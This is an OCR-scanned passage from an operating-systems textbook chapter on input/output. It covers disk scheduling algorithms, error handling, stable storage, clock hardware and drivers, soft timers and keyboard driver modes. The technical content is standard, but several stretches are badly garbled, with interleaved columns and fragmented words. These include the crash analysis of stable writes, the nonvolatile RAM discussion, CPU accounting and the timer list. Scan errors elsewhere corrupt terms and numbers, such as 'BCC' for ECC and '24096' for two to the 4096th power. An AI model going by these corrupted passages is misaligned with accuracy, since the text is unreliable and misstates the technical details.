detennined by three factors: 

1. Seek time (the time to move the arm to the proper cylinder). 

2. Rotational delay (the time for the proper sector to rotate under the head). 

3. Actual data transfer time. 

For most disks, the seek time dominates the other two times, so reducing the mean 
seek time can improve system performance substantially. 

If the disk driver accepts requests one at a time and carries them out in that 
order, that is, First-Come, First-Served (FCFS), little can be done to optimize 
seek time. However, another strategy is possible when the disk is heavily loaded. 
It is likely that while the ann is seeking on behalf of one requ�st, other disk re
quests may be generated by other processes. Many disk drivers maintain a table, 
indexed by cylinder number, with all the pending requests for each cylinder 
chained together in a linked list headed by the table entries. 

Given this kind of data structure, we can improve upon the first-come, first
served scheduling algorithm. To see how, consider an imaginary disk with 40 
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Figure 5.28. Shortest Seek First (SSP) disk scheduling algorithm. 
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same direction until there are no more outstanding requests in that direction, then 
they switch directions. This algorithm, known both in the disk world and the 
elevator world as the elevator algorithm, requires the software to maintain 1 bit: 
the current direction bit, UP or DOWN. When a request finishes, the disk or 
elevator driver checks the bit. If it is UP, the arm or cabin is moved to the next 
highest pending request. If no requests are pending at higher positions, the direc
tion bit is reversed. When the bit is set to DOWN, the move is to the next lowest 
requested position, if any. 

Figure 5-29 shows the elevator algorithm using the same seven requests as 
Fig. 5-28, assuming the direction bit was initially UP. The order in which the cyl
inders are serviced is 12, 16, 34, 36, 9, and 1, which yields arm motions of 1, 4, 
18, 2, 27, and 8, for a total of 60 cylinders. In this case the elevator algorithm is 
slightly better than SSF, although it is usually worse. One nice property that the 
elevator algorithm has is that given any conection of requests, the upper bound on 
the total motion is fixed: it is just twice the number of cylinders. 

• 
E 
;= I 

Initial 
position 

\ I Ixl I I I I I I Ixl Ixlxl I I Ixl I I I I I I I I I I I I I I I I Ixl Ixl I I I 
o 5 10 15 20 25 30 35 Cylinder 

Sequence of seeks 

-----
Figure 5�29. The elevator algorithm for scheduling disk requests. 

A slight modification of this algorithm that has a smaller variance in response 
times (Teory, 1972) is to always scan in the same direction. When the highest 
numbered cylinder with a pending request has been serviced, the arm goes to the 
lowest-numbered cylinder with a pending request and then continues moving in an 
upward direction. In effect, the lowest-numbered cylinder is thought of as being 
just above the highest-numbered cylinder. 

Some disk controllers provide a way for the software to inspect the current 
sector number under the head. With such a controller, another optimization is pos
sible. If two or more requests for the same cylinder are pending, the driver can 
issue a request for the sector that will pass under the head next. Note that when 
multiple tracks are present in a cylinder, consecutive requests can be for different 
tracks with no penalty. The controller can select any of its heads almost instan
taneously (head selection involves neither arm motion nor rotational delay). 
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If the disk has the property that seek time is much faster than the rotational 

delay, then a different optimization should be used. Pending requests should be 

sorted by sector number, and as soon as the next sector is about to pass under the 

head, the ann should be zipped over to the right track to read or write it 

With a modem hard disk, the seek and rotational delays so dominate - perM 

farmance that reading one or twO sectors at a time is very ineffIcient. For this rea

son, many disk controllers always read and cache multiple sectors, even when 

only one is requested. Typically any request to read a sector will cause that sector 

and much or all the rest of the current track to be read, depending upon how much 

space is available in the controller's cache memory. The disk described in Fig. 

5-18 has a 4-MB cache, for example. The use of the cache is determined dynami

cally by the controller. In its simplest mode, the cache is divided into two sec

tions, one for reads and one for writes. If a subsequent read can be satisfied out of 

the controller's cache, it can return the requested data immediately. 

It is worth noting that the disk controller's cache is completely independent of 

the operating system's cache. The controller's cache usually holds blocks that 

have not actually been requested, but which were convenient the read because 

they just happened to pass under the head as a side effect of some other read. In 

contrast, any cache maintained by the operating system will consist of blocks that 

were explicitly read and which the operating system thinks might be needed again 

in the near future (e.g., a disk block holding a directory block). 

When several drives are present on the same controller, the operating system 

should maintain a pending request table for each drive separately. Whenever any 

drive is idle, a seek should be issued to move its arm to the cylinder where it will 

be needed next (assuming the controller allows overlapped seeks). When the cur

rent transfer finishes, a check can be made to see if any drives are positioned on 

the correct cylinder. If one or more are, the next transfer can be started on a drive 

that is already on the right cylinder. If none of the arms is in the right place, the 

driver should issue a new seek on the drive that just completed a transfer and wait 

until the next interrupt to see which arm gets to its destination first. 

It is important to realize that all of the above disk scheduling algorithms 

tacitly assume that the real disk geometry is the same as the virtual geometry. If it 

is not, then scheduling disk requests makes no sense because the operating system 

cannot really tell whether cylinder 40 or cylinder 200 is closer to cylinder 39. On 

the other hand, if the disk controller can aceept multiple outstanding requests, it 

can use these scheduling algorithms internally. In that case, the algorithms are 

still valid, but one level down, inside the controller. 

5.4.4 Error Handling 

Disk manufacturers are constantly pushing the limits of the technology by 
increasing linear bit densities. A track midway out on a S.2S-inch disk has a cir
cumference of about 300 mm. If the track holds 300 sectors of 512 bytes, the 
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the controller to go into a loop or lose track of what it was dOing. Controller designers usually plan for the worst and provide a pin On the chip which, when asserted, forces the controller to forget whatever it was doing and reset itself. If all else fails, the disk driver can set a bit to invoke this signal and reset the controller. If that does not help, all the driver can do is print a message and give up. ReCalibrating a disk makes a funny noise but otherwise nonnally is not disturbing. However, there is one situation where recalibration is a serious problem: systems with real-time constraints. When a video is being played off a hard disk, or files from a hard disk are being burned onto a CD-ROM, it is essential that the bits arrive from the hard disk at a unifonn rate. Under these circumstances, recalibrations insert gaps into the bit stream and are therefore unacceptable. Special drives, Called A V disks (Audio Visual disks), which never recalibrate are available for such applications. 

5.4.5 Stable Storage 

As we have seen, disks sometimes make errOrs. Good sectors can suddenly become bad sectOrs. Whole drives can die unexpectedly. RAIDs protect against a few sectors going bad or even a drive falling out. However, they do not protect against write errors laying down bad data in the first place. They also do not protect against crashes during writes corrupting the original data without replacing them by newer data. 
For some applications, it is essential that data never be lost or corrupted, even in the face of disk and CPU errors. Ideany, a disk should simply work all the time with no errors. Unfortunately, that is not achievable. What is achievable is a disk subsystem that has the following property: when a write is issued to it, the disk either correctly writes the data or it does nothing, leaving the existing data intact. Such a system is called stable storage and is implemented in software (Lampson and Sturgis, 1979). The goal is to keep the disk consistent at all costs. Below we will describe a slight variant of the Original idea. Before describing the algorithm, it is important to have a clear model of the possible errors. The model aSSumes that when a disk writes a block (one or more sectors), either the write is correct or it is incorrect and this error can be detected On a subsequent read by examining the values of the ECC fields. In principle, guaranteed error detection is never possible because with a, say, 16�byte BCe field guarding a 512-byte sector, there are 24096 data values and only 2144 BCC values. Thus if a block is garbled during Writing but the BCC is not, there are billions upon billions of incorrect combinations that yield the same ECC. If any of them occur, the errOr will not be detected. On the whole, the probability of random data having the proper 16-byte ECC is about rl44, which is small enough that we will call it zero, even though it is really not. 

" The model also assumes that a correctly written sectOr can spontaneously go bad and become unreadable. However, the assumption is that such events are so 
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rare that having the same sector go bad on a second (independent) drive during a 
reasonable time interval (e.g., 1 day) is small enough to ignore. 

The model also assumes the CPU can fail, in which case it just stops. Any 
disk write in progress at the moment of failure also stops, leading to incorrect data 
in one sector and an incorrect Eee that can later be detected. Under all these con
ditions, stable storage can be made 100% reliable in the sense of writes either 
working correctly or leaving the old data in place, Of course, it does not protect 
against physical disasters, such as an earthquake happening and the computer fal
ling 100 meters into a fissure and landing in a pool of boiling magma. It is tough 
to recover from this condition in software. 

Stable storage uses a pair of identical disks with the corresponding blocks 
working together to form one error-free block. In the absence of errors, the cor
responding blocks on both drives are the same. Either one can be read to get the 
same result To achieve this goal, the following three operations are defined: 

1 .  Stable writes. A stable write consists of first writing the block on 
drive 1, then reading it back to verify that it was written correctly. If 
it was not written correctly, the write and reread are done again up to 
n times until they work After n consecutive failures, the block is 
remapped onto a spare and the operation repeated until it succeeds, 
no matter how many spares have to be tried. After the write to drive 
I has succeeded, the corresponding block on drive 2 is written and 
reread, repeatedly if need be, until it, too, [mally succeeds. In the 
absence of CPU crashes, when a stable write completes, the block 
has correctly been written onto both drives and verified on both of 
them. 

2. Stable reads. A stable read first reads the block from drive 1 .  . If this 
yields an incorrect ECC, the read is tried again, up to n times. If all 
of these give bad BCCs, the corresponding block is read from drive 
2. Given the fact that a successful stable write leaves two good copw 
ies of the block behind, and our assumption that the probability of the 
same block spontaneously going bad on both drives in a reasonable 
time inte�val is negligible, a stable read always succeeds. 

3. Crash recovery. After a crash, a recovery program scans both disks 
comparing corresponding blocks. If a pair of blocks are both good 
and the same, nothing is done. If one of them has an ECC error, the 
bad block is overwritten with the corresponding good block If a pair 
of blocks are both good but different, the block from drive 1 is writ
ten onto drive 2. 

In the absence of CP_ashes, this scheme always works. because stable 
writes always write two valid copies of every block and spontaneous errors are as
sumed never to occur on both corresponding blocks at the same time. What about 1 
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ntes. y de�ends on precisely 1 l Ies, as depIcted 10 Fig. 5-31. 
ECG 

Disk error . 

BB 'B t t Crash Crash 
(a) (b) 

Figure 5·3L An 1 . f a YSIS 0 the influence of crashes on stable writes. 

In Fig. 5-31(a), the CPU crash bappens before e. ten. Dunng recovery neither WI·!! b h d
Ither copy of the block is writ-. . . ' e c  ange and th !d aI . eXIst, WhIch IS allowed. e 0 v ue WIll continue to In Fig. 5-31 (b), the CPU crasbes duri . . contents of the block. However th 

ng the wnte to dnve 1, destroying the stores the block on drive 1 from dri�er�co;ery program detects this error- and reand the old state is fully restored 
. hus the effect of the crash is wiped out 

. In Fig. 5-31 (c), the CPU c;ash ha en . . . dnve 2 IS written. The point of n t 
pp 

h 
s after dnve 1 IS wntten but before gram copies the block from drive 

� : � � been pa�sed here: the recovery prow 
Fig. 5-31(d) is like Fig 5-31(b) . du

nve . Tbe Wnte Succeeds. 
th b d b

· . rmo- recovery the d bl e a lock. Again, the final value of b h bi . ' goo ock overwrites 
Finally, in Fig. 5-31(e) the recover 

ot ocks IS the new one. 
same, so neither is chano-ed and th . y program sees that both blocks are the 

Various ti · . to • e Wnte succeeds here too. op rruzatIons and Improvements . . ters, comparing all the block . .  are pOSSIble to thIS scheme. For star-h . s paIrWIse after a crash ' d b uge Im�rovement is to keep track of which block 
IS oa �e, but .expensive. A stable wnte so that only One block has to be ch 
w� bemg WrItten during a puters have a small amount of nonvolatile 

ecked 
.du�ng recovery. Some comory powered by a lithium battery Such b 

�
.IVl, WhICh IS a special CMOS rnemwhOl� life of the computer. Unlike main �

:�nes last 
.for 'years., pOSSibly even the volatile RAM is not lost after h Th . cry, whIch IS lost after a crash, non-. a Cras e tlme of d · �ncremented by a special circuit), which is w 

ay IS nor:mally kept here (and IS even after having been unplugged. 
hy computers still know what time it 

Suppose that a few bytes of nonvolatile R ' tern purposes. The stable write can t th 
AM are ava1lable for operating sys

date in nonvolatile RAM b £ 
p� e number of the block it is about to upe ore starttno- the writ Aft to e. er successfully completing 
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. volatile RAM is overwritten with an 
the stable write, the block number ��. n�der these conditions, after a c:ash the 
invalid block number, for example, 

1 '1 RAM to see if a stable wnte hap-
heck the nCTIve aU e . . 

recovery program can C 
h d 'f so which block was bemg wntten 

. d ring the eras , an 1 , d f  pened to be III progress u . f the block can then be checke or 
when the crashed happened. The two copIes 0 

correctness and consisten�y. 
" I  ble it can be simulated as follows. At the 

If nonvolatile RAM IS not. av
aI

l 
a 

k
' 

d '  ve 1 is overwritten with the number 
start of a stable write, a fixe� dISk ��� b�Onck �s then read back to veri�y it. After 
of the block to be stably wntten: lock on drive 2 is written and venfied .. Wh�n 
getting it correct, the correspondmJ b 

b th blocks are overwritten with an InvalId 
the stable write comp�etes corr�c y, 

e 
°
after a crash it is easy to determine wh.eth

block number and venfted. Agam her 'd '  the crash Of course this techmque 
. as in progress unng . , 

d er or not a stable wnte w . . . t stable block, so it should be use 
requires eight extra disk operatlons to wn e a 

exceedingly sp�n?;ly. . We assumed that only one spontaneous decay 
One last pomt IS worth making. 

er block air per day. If enough days go 
of a good block to � bad block happ;;.; P

efore on:e a day a complete scan .of both 
by, the other one Ill1ght �� bad too. 

a
e� 

Th�t way, every morning both disks are 
disks must be done repamng any dam � . 

. a bad within a period of a few 
always identical. Even if both blocks m a palf g 

days, all errors are repaired correctly. 

5.5 CLOCKS 

, 1 to the operation of any multipro-
Clocks (also called timers) are essen

T
tl
h
a ';ntain the time of day and pre-

f 'ety of reasons. ey m= . 1 k O'rarruned system or a van , .  h CPU among other thmgs. The c oc �ent one process from monopohzm� t e
dri 'even thouO'h a clock is neither a 

ak th form of a deVIce ver, 0 • • f software can t e e 
d '  11'ke a mouse Our exammatlon a 

. . d' k a character eVlce, . 
k block deVIce, like a IS , nor . th previous section: ftrst a look at cloc 

clocks will folloW the same pattern as In e 

hardware and then a look at the clock software. 

5,5,1 Clock Hardware 

1 used in computers, and both are quite dif-
Two types of clocks are common Y b Ie The simpler clocks are tied to 

ferent from the clocks and w�tches 
d
used Y pe?:re�pt on every voltage cycle, at 

the 1 10- or 220-volt power hne an ca�se :n
b�t are rare nowadays. 

50 or 60 Hz. These clocks u�ed t? dOIll1n:�h'ree components: a crystal oscillator, a 
The other kind of clock IS bUllt out a . F' 5 32 When a piece of quartz . ' t r  as shown m Ig. - . 

counter, and a holdmg regIS e , 
d t 'on l't can be made to generate a 

. d mounted un er enSl , d crystal IS properly cut an 
t . cally in the ranO'e of several hundre 

periodic signal of very great accuracy, ypl 0 

SEC. 5.5 CLOCKS 387 

megahertz, depending on the crystal chosen. Using electronics, this base signal 
can be multiplied by a small integer to get frequencies up to 1000 MHz or even 
more. At least one such circuit is usually found in any computer, providing a syn
chronizing signal to the computer's various circuits. This signal is fed into the 
counter to make it count down to zero. When the counter gets to zero, it causes a 
CPU interrupt. 

Crystal oscillator 

I I I I  ��f-II -I I-I-I I-I-I ---'J Counter is decremented at each pulse 

t 
I I I I I I I I I I I I I I I I I Holding register is used to load the counter 

Figure 5-32. A programmable clock, 

Programmable clocks typically have several modes of operation. In one�shot 
mode, when the clock is started, it copies the value of the holding register into the 
counter and then decrements the counter at each pulse from the crystal. When the 
counter gets to zero, it causes an interrupt and stops until it is explicitly started 
again by the software. In square�wave mode, after getting to zero and causing the 
interrupt, the holding register is automatically copied into the counter, and the 
whole process is repeated again indefinitely. These periodic interrupts are called 
clock ticks. 

The advantage of the programmable clock is that its interrupt frequency can 
be controlled by software. If a 500-MHz crystal is used, then the counter is pulsed 
every 2 nsee. With (unsigned) 32-bit registers, interrupts can be programmed to 
occur at intervals from 2 nsec to 8.6 sec. Programmable clock chips usually con
tain two or three independently programmable clocks and have many other 
options as well (e.g., counting up instead of down, interrupts disabled, and more). 

To prevent the current time from being lost when the computer's power is 
turned off, most computers have a battery-powered backup clock, implemented 
with the kind of low-power circuitry used in digital watches. The battery clock 
can be read at startup. If the backup clock is not present, the software may ask the 
user for the current date and time. There is also a standard_ way for a networked 
system to get the current time from a remote host. In any case the time is then 
translated into the number of clock ticks since 12 A.M. UTC (Universal Coordiw 
nated Time) (formerly known as Greenwich Mean Time) on Jan. 1, 1970, as 
UNIX does, or since some other benchmark moment. The origin of time for Win
dows is Jan. 1 ,  1980. At every clock tick, the real time is incremented by one 
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count. Usually utility programs are provided to manually set the system clock and 

the backup clock and to synchronize the 
two clocks. 

5.5.2 Clock Software 

All the clock hardware does is generate interrupts at known intervalS. Every

thing else involving time must be done by the software, the clock driver. The eX

act duties of the clock driver vary among operating systems, but usually include 

most of the following: 

1 .  Maintaining the time of day. 

2. Preventing processes from running longer than they are allowed to. 

3. Accounting for CPU usage. • 
4. Handling the alarm system call made by user processes. 

5. Providing watchdog timers for parts of the system itself. 

6. Doing profiling, monitoring, and statisticS gathering. 

The first clock function, maintaining the time of day (also called the real 

time) is not difficult. It just requires incrementing a counter at each clock tick, as 

mentioned before. The only thing to watch out for is the number of bits in the 

time-of-day counter. With a clock rate of 60 Hz, a 32-bit counter will overflow in 

just oyer 2 years. Clearly the system cannot store the real time as the number of 

ticks since Jan. 1, 1970 in 32 bits. 
Three approaches can be taken to solve thi

s problem. The first way is to use a 

64-bit counter, although doing so makes maintaining the counter more expensive 

since it has to be done many times a second. The second way is to maintain the 

time of day in seconds, rather than in ticks,
 using a subsidiary counter to count 

ticks until a whole second has been accumulated. Because 232 seconds is more 

than 136 years, this method will work until the twenty-second century. 

The third approach is to count in ticks, but
 to do that relative to the time the 

system was booted, rather than relative to a fixed
 extemal moment. When the 

backup clock is read 'i the user types in the real time, the �tem boot time is cal

culated from the current time-of -day value and stored in memory in any con

venient form. Later, when the time of day is requested, the stored time of day is 

added to the counter to get the current ti
me of day. All three approaches are 

shown in Fig. 5-33. 
The second clock function is preventing pr

ocesses from running too long. 

Whenever a process is started, the scheduler 
initializes a counter to the value of 

that process' quantum in clock ticks. At every clock interrupt, the clock driver 

decrements the quantum counter by 1 .  When it gets to zero, the clock driver calls 

the scheduler to set up another procesS. 
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c-----64 bils -----1 
Time of day in ticks 

r-32 b;'''--1 
I 

I---32 bils---1 
I Counter in ticks I 

/ 
Time of day 
in seconds 

Number of licks 
in current second 

/ 
System boot lime 

in seconds 
(a) (b) 

Figure 5·33. Three ways to maintain the time of da y. 

(c) 

The third clock function is doing CPU ace . 
do it is to start a second timer d" f 

ountmg. The most accurate way to 

· ' lstmct rom the ma' s . 
process IS started When that process ' 

In ystem tImer, whenever a 

how long the pro�ess has run. To do t
�� S�O�P�d, the timer c�n be read out to tell 

when an interrupt occurs and restored aft:r���d�' the second timer should be saved 

A less accurate, but simpler, way to do . '  . . 
the process table entry for the curre tl 

a�countmg IS to mamtam a pointer to 

every clock tick a field l'n th 
n y runmng process in a global variable. At 

, e current process' . . 
every clock tick is "charged" t h 

entry IS mcremented. In-this way 
. 0 t e process runn' t h . ' 

mmor problem with this strategy i th t . f . mg a t e tIme of the tick. A 

run, it is still charged for a full ti�k, :v�n �:�� �t,e�Pts occur during a process' 

Properly accounting for the CPU durin ' 
g It. dId not get much work done. 

done. 
g mterrupts IS too expensive and is rarely 

I� many systems, a process can reque th h . 
warnmg after a certain interval The .st . at t e operatmg system give it a 

sage, or somethinc similar One
' 
apPl,

w
e
am
t' 

mg IS usually a signal, interrupt, mes-
. •  

t> .  1 a Ion requiring s h ' . 
mg, III which a packet not acknowled ed . , 

u� :-varn�ngs IS network

retransmitted. Another applicatI'o . g Wlthl� a certam tIme mterval must be 
· . n IS computer-aIded 'n t . h 

not provIdmg a response within a cert ' . . 1 S ructIon, w ere a student 

If th · 
am time IS told the answe 

e clock dnver had enough clock . 
r. 

quest. This not being the case it m t 
�, lt

l
coUld se� a se�arate clock for each re-

gIe physical clock. One way i� to r:::in�::u at\�U.ltIPle ,
vIrtual clocks with a sin

pending timers is kept, as well as a varia�lt: � l.n whIch �he signal time for all 

Whenever the time of day is updated, the d . v 
g vmg the tlm

.
e of the next one. 

has occurred. If it has the table is sear h d 
� er

h
checks to see If the closest Signal 

If . '  c e lor t e next one to oc u 
many SIgnals are expected it is mar ffi ' . . ·c r. 

by chaining all the pending clock'requests t
e e  

�
CIent to slmu�ate �ultiple clocks 

as shown in Fig. 5-34 Each entry 0 th l.
oget er, sorted on time, 10 a linked list 

· 
. n e 1St tells how rna I k '  . ' 

the prevIOUS one to wait before ca s' , '  . ny c oc tIcks foIlowmg 

ing for 4203, 4207, 4213, 4215, an� �tl�.Slgnal. In thIS example, signals are pend-
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Current time Next signa! 

4200 CD 

Figure 5�34. Simulating multiple timers with a single clock. 

In Fig. 5-34, the next interrupt occurs in 3 ticks. �n each tick, N�xt Signa��! 
�:��:�:�:�� :�e�:: i�:� :� r����e����c��e

l�;����! �e��:i���l ��:t
O
t� the 

1 1 . n the ;ntry now at the head of the list, in this example, 4. . va U��te that durina a clock interrupt, the clock driver has several thmgs to dO-; 
increment the real time, decrement the

H
quantum and ���Ct�!�; ���;a;:� ��O:e�� 

• 0" d decrement the alarm counter. owever, eae . �;;�;�IY arranged to be very fast because they have to be repeated many tImes a 

second. . Th e are called watch-
Parts of the operating system also need to set tImers. es . void . s For exam Ie floppy disks do not rotate when not In use, to a 

dog timer . 
h Pd' ' m and disk head. When data are needed from a floppy 

wear and tear on t e me lU 
fl disk is rotatinll" at full 

d' k the motor must first be started, Only when the oppy , 0 d' k IS 
'd lJO begin When a process attempts to read from an Idle floppy IS , 

spee can . 
hd 0- timer to cause an 

the floppy disk driver starts the motor and then sets a watc ?o 'd ' _ 
interrupt after a sufficiently long time interval (because there IS no up-to-spee m 

terri�!r��c�:n?s:P�s����S��'clOCk driver to handle w�tchdog timers. is the 

same as for user signals. The only difference is that when a ���e� g��: �il��s��� 
of causing a signal, the clock driver calls a procedure su�p Ie y 

d whate�er is 
rocedu; is part of the caller's code. The called proce ure can � 

ts are �ecessary even causing an interrupt, although within the kernel mterru�anism 
often inc�nvenient and signals do not exist. That is why the .watchdo: rne� when . 'ded It is worth nothing that the watchdog rnechamsm wor s on y 

�:����k driver and the proce�ure to �e called are in th� same address s�·�C:·a me-
The last thing in our list IS profilmg. Some operatmg systems ?fO 1 

f . t 
h . m by which a user program can have the system build up a hlstogra� o . 

1 S 
c ams . . . When profilmg IS a 
proo-ram counter so it can see where it is spendmg Its tIme. . be' ng 
os;ibility at e;ery tick the driver checks to see if the current process IS 

d� 
Pprofiled a�d if so computes the bin number (a range of addresses) c

T
o
h
r:espon

han
mg 

" . th t b'n by one IS mec -
to the current program counter. It then �ents a 1 . 

ism can also be used to profile the syster11'Tt'Self . .  
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5.5.3 Soft Timers 

Most computers have a second programmable clock that can be set to cause 
timer interrupts at whatever rate a program needs. This timer is in addition to the 
main system timer whose functions were described above. As long as the inter
rupt frequency is low, there is no problem using this second timer for application
specific purposes, The trouble arrives when the frequency of the application-spe
cific timer is very high. Below we will briefly describe a software-based timer 
scheme that works well under many circumstances, even at fairly high frequen
cies. The idea is due to Aron and Druschel ( 1999). For more details, please see 
their paper. 

Generally, there are two ways to manage lIO: interrupts and polling, Inter
rupts have low latency, that is, they happen immediately after the event itself with 
little or no delay, On the other hand, with modem CPUs, interrupts have a sub� 
stantial overhead due to the need for context switching and their influence on the 
pipeline, TLB, and cache. 

The alternative to interrupts is to have the application poll for the event 
expected itself. Doing this avoids interrupts, but there may be substantial latency 
because an event may happen directly after a poll, in which case it waits almost a 
whole polling interval. On the average, the latency is half the polling interval. 

For certainapplications, neither the overhead of interrupts nor the Hltency of 
polling is acceptable. Consider, for example, a high-perfonnance network such as 
Gigabit Ethernet. This network is capable of accepting or delivering a full-size 
packet every 12 J1sec. To run at optimal performance on output, one packet 
should be sent every 12 Ilsec. 

One way to achieve this rate is to have the completion of a packet transmis
sion cause an interrupt or to set the second timer to interrupt every 12 J1sec. The 
problem is that this interrupt has been measured to take 4.45 J1sec on a 300 MHz 
Pentium II (Aron and Druschel, 1999). This overhead is barely better than that of 
computers in the 1970s. On most minicomputers, for example, an interrupt took 
four bus cycles: to stack the program counter and PSW and to load a new program 
counter and PSW. Nowadays dealing with the pipeline, MMU, TLB, and cache 
adds a great deal to the overhead. These effects are likely to get worse rather than 
better in time, thus canceling out faster clock rates. 

Soft timers avoid interrupts. Instead, whenever the kernel is running for some 
other reason, just before it returns to user mode it checks the real time clock to see 
if a soft timer has expired. If the timer has expired, the scheduled event (e.g., 
packet transmission or checking for an incoming packet) is performed, with no 
need to switch into kernel mode since the system is already -there. After the work 
has been performed, the soft timer is reset to go off again. All that has to be done 
is copy the current clock value to the timer and add the timeout interval to it. 

Soft timers stand or fall with the rate at which kernel entries are made for 
other reasons. These reasons include: 
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1. System calls. 

2. TLB misses. 

3. Page faults. 

4. I/O interrupts. 

5. The CPU going idle. 

A d Druschel made measurements 
To see how often these �vents. h(Y

a�p��i l���e: Web server, a Web server with a 
with several CPU loads, mcl�dmo 

I . 
Y 

real-time audio from the Internet, and 
compute-bound background Job, p aymg 

t ,Onto the kernel varied from 2 "I" h UNIX kernel The average entry ra e recompl ��g 
I � s:c with about

' 
half of these entries being system calls. !hU

d
S t

b
o
l 
a 

!1sec to t"' ' . . . oft timer go off every 12 !lsec IS oa e, 
first�ord:

th
r approxHr:atl�ln:n��:�n�e�d�ine. For applications like sending packets or albe�t WI �n OCC�Slon 

b . (J 10 ! I sec late from time to time is better than 
pollmg for mcommg packets, emt> l'"" 

having interrupts eat U�It�:o o:���sC:;�n there are no system calls, TLB misses, 
Of course, there WI p . ff T per bound on 

f It ·,n which case no soft timers WIn go o .  0 put an up 
or page au s, . ff say every 1 msec. cond hardware timer can be set to go 0 ,  , these inter�als,. the se . . h I 1000 packets/sec for occasional intervals, 
If the apphcat�on . can I

f
've

f
wl� on y 

d a low-frequency hardware timer may be 
then the combmation 0 so t timers an . 
better than either pure interrupt-driven I/O or pure pollmg. 

5.6 USER INTERFACES: KEYBOARD, MOUSE, MONITOR 

has a keyboard and monitor (and usually a 
Every general-purpose. comp�te�

th 't Although the keyboard and monitor are 
mouse) to allow people to mterac WI 1 .  

On mainframes there 
technically separate devices, they wor; c�:elY 

d:�r::h��'ntainino- a keyboa'rd and 
are frequently. many remot\u���s:a�ev��s :ave historically b:en called termi� 
an attached dl

f
splay as

tl
a �t��l 'use that term even when discussing personal com

nals. People requen Y , 
) puter keyboards and monitors (mostly for lack of a better term . 
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keyboard driver extracts the information about what happens from the VO p0I1 as
sociated with the keyboard. Everything else happens in software and is pretty 
much independent of the hardware. 

Most of the rest of this section can be best understood when thinking of typing 
commands to a shell window (command line interface). This is how programmers 
commonly work. We will discuss graphical interfaces below. 
Keyboard Software 

The number in the I/O port is the key number, called the scan code, not the 
ASCII code. Keyboards have fewer than 128 keys, so only 7 bits are needed to 
represent the key number. The eighth bit is set to 0 on a key press and to 1 on a 
key release. It is up to the driver to keep track of the status of each key (up or 
down). 

When the A key is struck, for example, the scan code (30) is put in an I/O reg
ister. It is up to the driver to determine whether it is lower case, upper case, 
CTRL-A, ALT-A, CTRL-ALT-A, or Some other combination. Since the driver 
can tell which keys have been struck but not yet released (e.g., SHIFf), it has 
enough infonnation to do the job. 

For example, the key sequence 
RESS SHIFT, DEPRESS A, RELEASE A, RELEASE SHIFT 

indicates an upper case A. However, the key sequence 
RESS SHIFT, DEPRESS A, RELEASE SHIFT, RELEASE A 

also indicates an upper case A. Although this keyboard interface puts the full bur
den on the software, it is extremely flexible. For example, user programs may be 
interested in whether a digit just typed came from the top row of keys or the 
numeric key pad on the side. In principle, the driver can provide this information. 

Two possible philosophies can be adopted for the driver. In the first one, the 
driver's job is just to accept input and pass it upward unmodified. A program 
reading from the keyboard gets a raw sequence of ASCII cOdes. (Giving user pro
grams the scan codes is too primitive, as well as being highly keyboard depen
dent.) 

This philosophy is well suited to the needs of sophisticated screen editors such 
as emacs, which allow the user to bind an arbitrary action to any character or se
quence of characters. It does, however, mean that if the user types dste instead of 
date and then corrects the error by typing three backspaces and ate, followed by a 
carriage return, the user program will be given all 1 1  ASCII codes typed, as fo]
lows: 

d s t e  f- f- f- a t e  CR 

Not all prograrns ·w�fnuch detaiL Often they just want the corrected 
input, not the exact sequence"c)thow it was produced. This observation leads to 
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the second philosophy: the driver handles all the intraline editing, and just delivers 

corrected lines to the user programs. The first philosophy is character-oriented; 

the second one is line oriented. Originally they were referred to as raw mode and 

cooked mode, respectively. The POSIX standard uses the less-picturesque tenn 

canonical mode to describe line-oriented mode. Noncanonical mode is equi va

lent to raw mode, although many details of the behavior can be changed. 

POSIX-compatible systems provide several library functions that support select

ino- either mode and changing many parameters. 

e> If the keyboard is in canonical (cooked) mode, characters must be stored until 

an entire line has been accumulated, because the user may subsequently decide to 

erase part of it. Even if the keyboard is in raw mode, the program may not y�t 

have requested input, so the characters must be buffered to allow type ahead. EI

ther a dedicated buffer can be used or buffers can be allocated from a pool. The 

former puts a fixed limit on type ahead; the latter does not. This issue arises most 

acutely when the user is typing to a shell window (command line window in Win

dows) and has just issued a command (such as a compilation) that has not yet 

completed. Subsequent characters typed have to be buffered because the shell is 

not ready to read them. System designers who do not permit users to type far 

ahead ought to be tarred and feathered, or worse yet, be forced to use their own 

system. . 
Although the keyboard and monitor are logically separate deVices, many users 

have O'rown accustomed to seeing the characters they have just typed appear on 

the sc�een. This process is called echoing. 
Echoing is complicated by the fact that a program may be wr�ting to the 

screen while the user is typing (again, think about typing to a shell wmdow). At 

the very least, the keyboard driver has to figure out where to put th:e new input 

without it being overwritten by program output. 
. 

Echoing also gets complicated when more than 80 characters have to be dis

played in a window with 80-character lines (or so�e other number). ?epending 

on the application, wrapping around to the next lme may be appropnate. Some 

drivers just truncate lines to 80 characters by throwing away all characters beyond 

column 80. 
Another problem is tab handling. It is usually up to the driver to compute 

where fhe cursor is currently located, taking into account both output from prow 

grams and output from echoing, and compute the proper number of spaces to be 

echoed. 
Now we come to the problem of device equivalence. Logically, at the end of a 

line of text, one wants a carriage return, to move the cursor back to column 1 ,  and 

a linefeed, to advance to the next line. Requiring users to type both at the end of 

each line would not sell well. It is up to the device driver to convert whatever 

comes in to the fonnat used by the operating system. In UNIX, the ENTER key is 

converted to a line feed for internal storage; in Windows it is converted to a car

riage return followed by a line feed. 
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. 
If the standard form is just to store a linefeed (the UNIX convention), then car

nage returns (created by the Enter key) should be turned into linefeeds. If the in
ternal format is to store both (the Windows convention), then the driver should 
generate a linefeed when it gets a carriage return and a carnage -return when it 
gets a li�efeed. No matter ;-rhat the internal convention, the monitor may require 
both a lmefeed and. a carnage return to be echoed in order to O'et the screen 
update? properly. On multi�ser systems such as mainframes, diffe:ent users may 
have dIfferent types of termmals connected to it and it is up to the keyboard driver 
to get all the different carriage returnllinefeed combinations converted to the in
ternal system standard and arrange for all echoing to be done right. 

. 
Wh�n operating in canonical mode, some input characters have special mean

mgs. FIgure 5-35 shows all of the special characters required by POSIX. The de
faults are all control characters.. that should not conflict with text input or codes 
used by programs; all except the last two can be changed under program contro1. 

Character POSIX name Comment 
CTRL-H ERASE Backspace one character 
CTRL-U KILL Erase entire line being typed 
CTRL-V LNEXT Interpret next character literally 
CTRL-S STOP Stop output 
CTRL-Q I START Start output 
DEL I INTR Interrupt process (S!G1NT) I 

CTRL-\ QUIT Force core dump (SlGQU1T) 
CTRL-D EOF End of me 
CTRL-M CR Carriage return (unchangeable) 
CTRL-J NL Linefeed (unchangeable) 

Figure 5*35. Characters that are handled specially in canonical mode. 

